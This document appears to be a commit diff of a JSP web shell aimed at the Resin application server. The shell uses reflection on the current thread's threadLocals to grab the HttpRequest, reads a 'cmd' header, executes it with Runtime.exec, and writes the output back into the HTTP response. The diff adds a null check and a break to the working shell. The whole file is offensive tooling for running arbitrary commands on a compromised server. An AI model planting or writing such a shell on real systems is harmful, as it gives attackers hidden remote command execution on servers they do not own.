11<%@ page contentType =" text/html;charset=UTF-8" language =" java" %>
22<%
3- Class clazz = Thread . currentThread(). getClass();
3+ Class clazz = Thread . currentThread(). getClass();
44 java.lang.reflect. Field field = clazz. getSuperclass(). getDeclaredField(" threadLocals" );
55 field. setAccessible(true );
66 Object obj = field. get(Thread . currentThread());
2121 if (obj != null && obj. getClass(). getName(). equals(" com.caucho.server.http.HttpRequest" )){
2222 com.caucho.server.http. HttpRequest httpRequest = (com.caucho.server.http. HttpRequest )obj;
2323 String cmd = httpRequest. getHeader(" cmd" );
24- String res = new java.util. Scanner (Runtime . getRuntime(). exec(cmd). getInputStream()). useDelimiter(" \\ A" ). next();
25- com.caucho.server.http. HttpResponse httpResponse = httpRequest. createResponse();
26- httpResponse. setHeader(" Content-Length" , res. length() + " " );
27- java.lang.reflect. Method method = httpResponse. getClass(). getDeclaredMethod(" createResponseStream" , null );
28- method. setAccessible(true );
29- com.caucho.server.http. HttpResponseStream httpResponseStream = (com.caucho.server.http. HttpResponseStream ) method. invoke(httpResponse,null );
30- httpResponseStream. write(res. getBytes(), 0 , res. length());
31- httpResponseStream. close();
24+
25+ if (cmd != null && ! cmd. isEmpty()){
26+ String res = new java.util. Scanner (Runtime . getRuntime(). exec(cmd). getInputStream()). useDelimiter(" \\ A" ). next();
27+ com.caucho.server.http. HttpResponse httpResponse = httpRequest. createResponse();
28+ httpResponse. setHeader(" Content-Length" , res. length() + " " );
29+ java.lang.reflect. Method method = httpResponse. getClass(). getDeclaredMethod(" createResponseStream" , null );
30+ method. setAccessible(true );
31+ com.caucho.server.http. HttpResponseStream httpResponseStream = (com.caucho.server.http. HttpResponseStream ) method. invoke(httpResponse,null );
32+ httpResponseStream. write(res. getBytes(), 0 , res. length());
33+ httpResponseStream. close();
34+ }
35+
36+ break ;
3237 }
3338 }
3439% >
0 commit comments